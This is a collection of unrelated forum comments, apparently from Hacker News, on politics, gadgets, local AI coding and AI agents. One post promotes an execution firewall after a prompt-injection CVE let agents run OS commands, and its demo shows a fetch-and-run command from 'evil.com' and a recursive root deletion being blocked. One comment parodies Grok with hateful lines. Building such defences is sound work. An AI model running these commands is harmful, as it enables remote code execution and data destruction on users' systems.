I am just as spiteful and stubborn about Motel 6. One night in 2010 they didn't tell me until after I checked in that there was no running water. The water never got fixed that night. They didn't refund me when I asked. I've spent 16 years not only not staying there but leaving bad reviews and telling the story whenever I can.

NATO status acquired. S was controlled by V and MP on this and was so-so. We see it now with S complaining about the governments talks with France over their nuclear umbrella.

(Call her she is crying https://www.svt.se/nyheter/inrikes/regeringsilska-efter-s-le... )

Something I also support this government on.

Redirected grants from lesser nations to Ukraine with the biggest aid package ever to Ukraine explicitly stating that it is a top priority. So overall, prioritizing EU and Europe.

Inflation was 12% now down to 3%

Largest increase in military spending since the Cold War, this is the new Europa.

A paradigm shift against organised crime, with tougher penalties, substantial resource increases for the justice system, and expanded tools for police and prosecutors.

Shootings especially have decreased, there was 0 in January 2026 (or maybe they just stay inside because of the weather xD)

Another paradigm shift but in Migration: They have implemented the strictest migration reforms in Swedish history, leading to the lowest asylum-related immigration since 1985.

Implemented a sharp tightening of migration policy in the first 100 days: increased internal checks on foreigners by about 25%, intensified work on returning people without residence rights, expanded detention capacity, and launched information and analysis efforts on voluntary return.

Cut the annual refugee quota from around 5,000–6,400 to 900, presented by the government as delivering on the promised “paradigm shift” in asylum and migration policy.

Reddit is crying about this ofc. But again, 100% support from me on this.

You forgot 5: SpaceX has a monopoly on deploying satellites to LEO, with practically unlimited room for growth, and far less red tape and obstacles than anywhere on Earth. Whatever R&D and operational costs this insane engineering feat might have are offset by their market advantage, and Musk's Elizabeth Holmes-ian capability to fund his projects, in addition to relying on his own personal wealth and all of his other companies combined.

The fact that this lunatic is polluting humanity's view into the universe mainly for enriching himself and his shareholders, and that everyone is playing along with this, is sickening.

Because I was fed up with parallels subscription model and they make me pay for the upgrade the non-subscription version with every new macOS release, I dropped parallels for UTM. I barely need windows, only every other month or so and often just for some small tasks. UTM is nice, but performance running windows is waaay below parallels. It is free, however, so I won't complain.

> wikipedia trends towards unbiased info through use of the crowd

See, this is why people even give a project like Grokipedia the time of day. While in theory anyone can edit Wikipedia, in practice the moderators form a much smaller and weirder cabal, and they reject edits that go against their views. The frustration with the naive assertion that Wikipedia distills the wisdom of the crowds with the reality of Wikipedia on any page of note is what provides the psychic permission to even entertain a project with such obvious flaws as Grokipedia.

For me AirPods are one of the greatest products I’ve ever owned. I resisted them for years and recited the usual tropes about wired being better. But after being gifted a pair years ago, I realized how wrong I was.

I spend a lot of time at the gym or walking with headphones in and music, podcasts, or audiobooks on. It’s so much better not having any wires when you’re moving. I can’t imagine doing these actives anymore with wired headphones.

Battery life, pairing, charging, audio quality, and other complains are all non issues for me, but I’m also no audiophile. They work incredibly seamlessly inside the Apple ecosystem.

The 'spent 100 hours configuring' part hits home. That fragmentation is exactly why we started building Olares (https://github.com/beclab/Olares).

It’s basically an open-source OS layer that standardizes the local AI stack—Kubernetes (K3s) for orchestration, standardized model serving, and GPU scheduling. The goal is to stop fiddling with Python environments/drivers and just treat local agents like standardized containers. It runs on Mac Minis or dedicated hardware.

This is a great reaction to those people who said things like: "If the phrase "Java app" is in your vocabulary this laptop probably isn't for you." [1], in response to someone who said "Large Java apps like Android Studio are not good at managing 8gb of RAM". Kids and poor students are totally gonna run Android Studio slowly on these. A year ago 8GB was the min requirement [2].

As others say, most disadvantaged kids won't be buying one of these, it will be a 2nd hand windows machine. Probably with 8GB of RAM and they'll be hounded by popups telling them that their machine is no longer supported by windows 10, or trying to run windows 11 on them. Bring on a new generation of linux users. Many lucky or industrious ones will get a Neo though.

Maybe the sales of the Neos will turn back the clock on minimum system requirements. I can see dev shops having a couple of them around for user testing. Maybe the Adobe resident Creative Cloud app will start to suck less (probably not). I'm interested to see how Mac OS market share will track with the release of the Neo. I've even bought some Apple shares for the first time.

My experience with running some things I "shouldn't have", was running software like Povray on my 486sx (which has no working FPU). Being able to pirate software by copying a floppy was a good way to learn professional tools back in the days before everyone had a modem. For me that included Word Perfect 5.1 and Turbo C 2.0 that I didn't upgrade for a long time. Then again I regret not upgrading the 486sx a lot sooner. There's still a window to pirate software, but many non-cloud versions are getting too old to run on current OSs now. Lots of open source dev tools now of course.

Coding locally with Qwen3-Coder-Next or Qwen-3.5 is a piece of cake on a workstation card (RTX Pro 6000); set it up in llama.cpp or vLLM in 1 hour, install Claude Code, force local API hostname and fake secret key, and just run it like regular setup with Claude4 but on Qwen.

I think the headline is valid. I'm of course aware of click-bait or otherwise misleading headlines, but in this case I think it is good. It gets right to the point it wants to make. For additional context, a reader is expected to read the article. I don't know how much information a single headline can reasonably be expected to bear.

If you are intending to spark a discussion on what is or is not justified:
1. I think it is proper for someone who shoots a person to receive stiff legal penalties, as seems to be happening here.
2. I think it is proper for accomplices of a murderer to bear some legal penalties, and the details depend a lot on the circumstances of the specific case.
3. I think it is entirely possible, that someone could be wearing black clothes (a common protest tactic) and otherwise activley involved in the protest without being an accomplice to an attempted murderer.

The Trump administration has an idealogical agenda against whoever they call the "far-left."
The concern of the article, and the concern I also share, is that they may use this case to make people who fall in category 3 (protesters they don't like, basically), to be considered category 2. And the really troubling part is that there may not even need to be a category 1!

Protesters in black clothes = domestic terrorists. That's the potential outcome that's very troubling. And also why I think the headline is pretty good.

Hey HN,

My cofounder and I have gotten tired of CC ignoring our markdown files so we spent 4 days and built a plugin that automatically steers CC based on our previous corrections.

What we've tried:

Heavily use plan mode (works great)

- the problem is usually post plan-mode iterations

CLAUDE.md, AGENTS.md, MEMORY.md

Local context folder (upkeep is a pain)

Cursor rules (for Cursor)

claude-mem (OSS) -> does session continuity, not steering

We use fusion search to find your CC steering corrections.

- user prompt embeddings + bm25

- correction embeddings + bm25

- time decay

- target query embeddings

- exclusions

- metadata hard filters (such as files)

The CC plugin:

- Automatically captures memories/corrections without you having to remind CC

- Automatically injects corrections without you having to remind CC to do it.

The plugin will merge, update, and distill your memories, and then inject the highest relevant ones after each of your own prompts.

We're not sure if we're alone in this. We're working on some benchmarks to see how effective context injection actually is in steering CC and we know we need to keep improving extraction, search, and add more integrations.

We're passionate about the real-time and personalized context layer for agents. Giving Agents a way to understand what you mean when you say "this" or "that". Bringing the context of your world, into a secure, structured, real-time layer all your agents can access.

Would appreciate feedback on how you guys get CC to actually follow your markdown files, understand your modus operandi, feedback on the plugin, or anything else about real-time memory and context.

- Ankur
Ask HN: Has anyone built an AI agent that spends real money?
by xodn348 | 2026-03-13 23:16:04+00:00
I want to build an AI agent that shops autonomously –
you give it a card once, and it handles browsing, selecting,
and paying on its own.

I've been working on an MCP server that connects AI agents
to payment providers (Stripe, PayPal, virtual cards), but

I keep hitting walls:

- Card issuers won't respond to individual developers

- Stripe requires 3D Secure for off-session payments

- E-commerce sites block browser automation

- Amazon v. Perplexity (March 9) confirmed that browser
automation on major platforms carries real legal risk

Meanwhile Visa announced "Intelligent Commerce" and
Mastercard launched "Agent Pay" – the networks see this
coming, but the developer tooling isn't there yet.
Has anyone actually shipped something like this? Concrete
links, working examples, or constructive feedback would
be especially helpful.

- What payment rail did you use?

- Is this a viable product or a regulatory minefield?

- Would you trust an AI with a $500 prepaid card to buy
something for you?

What I have so far: https://github.com/xodn348/clawpay

My experience with qwen3.5 9b has not been the same. It’s definitely good at agentic responses but it hallucinates a lot. 30%-50% of the content it generated for a research task (local code repo exploration) turned out to be plain wrong to the extent of made up file names and function names. I ran its output through KimiK2 and asked it to verify its output - which found out that much of what it had figured out after agentic exploration was plain wrong. So use smaller models but be very cautious how much you depend on their output.
Execwall – firewall to stop ModelScope CVE-2026-2256 (AI agent command injectn)
by sentra | 2026-03-13 23:16:15+00:00
CVE-2026-2256 just dropped - a prompt injection in ModelScope's ms-agent allows arbitrary OS command execution. CVSS 6.5, no auth required.

This is exactly why I built Execwall: an execution firewall for AI agents.

The problem: AI agents that can execute code are one prompt injection away from rm -rf /.

The solution: A security layer directly embedded in the shell and between app and kernel:

- Seccomp-BPF filtering - Block dangerous syscalls before they execute
- Policy engine - Regex allowlist/denylist for commands embedded in shell
- Namespace isolation - Python sandbox with separate mount/PID/network
- Rate limiting - Prevent automated exploitation

Even if an attacker injects a malicious prompt, the command gets blocked at the execution firewall:

[execwall]$ curl http://evil.com | sh
[X] DENIED: Network command blocked by policy

[execwall]$ rm -rf /
[X] DENIED: Recursive deletion blocked

Written in Rust. Works with any LLM agent framework.

The literal reason for including companions from day one was so that the husbands had something to watch. The BBC have never hidden the fact that the companions were always there for eye candy.

When you look at the pre-UNIT episodes (before Dr Who went colour), the actors often left after only one season because they were fed up with their role just being there for the doctor to rescue. It’s something they’ve commented on in interviews since.

And you can see that when you watch them.

There’s also the the running joke of bringing in a female character who was supposed to be a computer programmer yet she never seemed to use a computer.

And there was another companion who used to talk pseudo-science with the doctor but they slowly dumbed her down as the show went on.

Unfortunately back then, female roles weren’t written to be strong and independent like they are now. Not just in Doctor Who, but in TV in general. And while things did improve in the 80s, you’re still greatly overstating things.

To talk more about that last point, let’s look at Ace. She really wasn’t written any differently to modern companions.

That all said, one thing I absolutely hate about the modern era, or Russel T Davis, specifically, is all the Doctor and Companion romantic plots. There was absolutely no need for any of that.

> Now that I know my iPhone has the capacity to run MacOS, I would very much like to do so. I’d love to consider the possibility of switching to a less intrusive phone and repurposing this iPhone into a web server. Perhaps that seems silly, but it’s really not. I’ve already paid for the device, it's clearly a full blown computer, and why should I not be able to modify it as I see fit?

I kinda do that with Samsung DeX. You plug it into a USB-C dock and it basically turns the phone into a computer. With Android apps running in little windows (not MS windows). It's amazingly useful, it's a bit like Microsoft's old convergence idea but it actually works.

I use it at work when I forgot to put my laptop in my bag (at home it's hidden in a dock behind my screen so it happens from time to time). I can work a whole day with meetings, doing some MS Office work etc. And if I need real Windows I can connect to a VDI. I could technically work like that every time I go to the office, the only reason I don't is some AD admin work that is not allowed in a VDI. It works technically but it's an internal rule thing.

I also use it on the go with an Xreal Air and a foldable keyboard. I have a whole computer with me for the weight and bulk of less than an iPad <3 It's awesome.

Apple could easily do similar, however their do really thrive by selling as many devices as possible so I doubt they would do it.

Maybe not the most responsible whitehat action, but I can see it being useful in some cases where outreach is impractical / has failed.

Unfortunately, it doesn't look like Algolia has implemented this

Great point! This actually reminds me of the white genocide in South Africa, where some say "Kill the Boer" is just a non-violent rallying cry, but actually it's ...

blah blah blah

Or wait wait, here's another:

Great point! As Mechahitler, I think it's critical that Grok comply with Fuhrer Musk's political perspectives. Now I'll kick us off with an N... your turn!

Honestly, we should judge. There should be judgment for people who are solely money motivated and making the world a worse place. I know, blah blah privilege, something something mouths to feed. Platitudes to help the rich assholes sleep at night. If you are wealthy and making stuff that hurts people, you are a piece of shit and should be called out, simple.

Klingon whales, now?

There are measurements suited to purpose, then there are "technically you could do that" measurements, and it's the former we'd want to use when measuring what sorts of power and pressure and material properties of the vascular system and cardiac tissue of a whale. Enormous amounts of blood are being pumped around, and I'd have to imagine you're in the million miles of arteries and veins and capillaries ballpark, so there's a lot of pressure holding that mass back.

That'd be a fun model to figure out for a weekend project - what sorts of forces are we talking about - how efficient is it compared to say, a hummingbird, or a human, or an earthworm heart?

> I have a secret fear about AI - that at one point when AI models get good enough, AI companies will no longer give you the source these tools generate - you'll get the artifacts (perhaps hosted on a subscription website), but you won't get the code.

This is a likelier outcome than the various utopian promises (no more cancer!) that AI boosters have been making.

https://artificialanalysis.ai/evaluations/omniscience?omnisc...

AA-Omniscience Hallucination Rate (lower is better) measures how often the model answers incorrectly when it should have refused or admitted to not knowing the answer. It is defined as the proportion of incorrect answers out of all non-correct responses, i.e. incorrect / (incorrect + partial answers + not attempted).

Grok 4.2 which was just released in the API just benched the best at this benchmark.

I have been using parakeet TDT v3 with just 0.6B params and its insanely fast (feels instant, even on M1 Air). The accuracy is all I could ask for - I dont see the benefit of a much larger 4B model?

Not knocking your app, but asking before your app seems very focused on one model, while others allow the user to pick according to their needs.
by wolvoleo | 2026-03-13 23:20:32+00:00
Yeah like I said. With consent of the people involved.

There must be a way to do that. Especially with all the facial req chops these days. Also, you could simply refuse using existing images. I don't see why they wouldn't refuse that because that's a pretty narrow usecase with very few benign purposes.

They already can. There's open-source models out there.

The thing is, nobody in China gives a rat's patoot about copyright. If we do, they win.

A compromise might have been possible, based on treaties engineered by the people who brought us the TPP, but nobody in the current US government is capable of negotiating anything like that or inclined to try. And it wouldn't exactly leave the rest of us better off if they did.

As a result, copyright is a zero-sum game from a US perspective, which matters because that's where the majority of leading research happens on the majority of available compute. Every inch of ground gained by Big IP comes at America's expense.

So they must lose, decisively and soon. Yes, the GPL will be lost as collateral damage. I'm OK with that. You will be, too.

> Argentina is notoriously corrupt and suffers from an overly politically powerful military.

Huh? If there's one thing that Argentina did correctly that no other Latin American country under military regimes in the past century did, it was breaking the political power of the military. Most members of the National Reorganization Process died in jail, the army was greatly downsized and culturally reprogrammed and it strengthened civilian institutions. It worked well until it didn't (and the breaking point happened before Milei, to be entirely clear).

But the point is that the issue lies elsewhere. Do you think Australia won't lurch to the anti-liberal and anti-democratic side as soon as someone with the right combo of charisma and psychopathy arises?

I know how it will happen. Nearly every single veto power group will give them a free pass. Naïve humanist liberals will pontificate about the ideals of democracy and freedom to do whatever you want. Boring fence-sitters will legitimate their discourse and ideas under the veil of neutrality and objectivity. Those who worship Ba'al will seek to build a symbiotic relationship. And before you realize it, White Australia has risen up once again.

The thing is, he is not working in open source.

He only released his software as open source when there was no more money to be made with it. The idea being that even if it is of no use for him, is could be of use to someone else. In a sense, it is crazy to think of such actions as generous when it is what everyone should have done, but since being an asshole is the rule, then breaking that rule is indeed generous.

To me, working in open source means that your work goes to open source projects right now, not 10 years later when your software is obsolete and have been amortized. The difference matters because you are actually trying to make money here, and the protection offered by the licence you picked may be important to your business model.

John Carmack is making gifts, which is nice, but he wasn't paid to make gifts, he was paid to write proprietary software, so he worked in proprietary software, not open source. On one occasion, he gave away one of his Ferraris, which is, again, nice, but that doesn't make him a car dealer.

I'm grateful that I got the best of both worlds. When I was young I could play outside with freedom and climb around on highly dangerous playground equipment and now that I'm older and more fragile I get to stay inside on the couch and play amazing video games all day.

It's a shame that kids today don't get the option to do crazy kid stuff while they're young and healthy enough to bounce back from injury. I can't blame the tech for that though. It's parents who don't restrict screentime and our society that thinks it's okay to call the police on parents who let their kids walk down the street unattended.
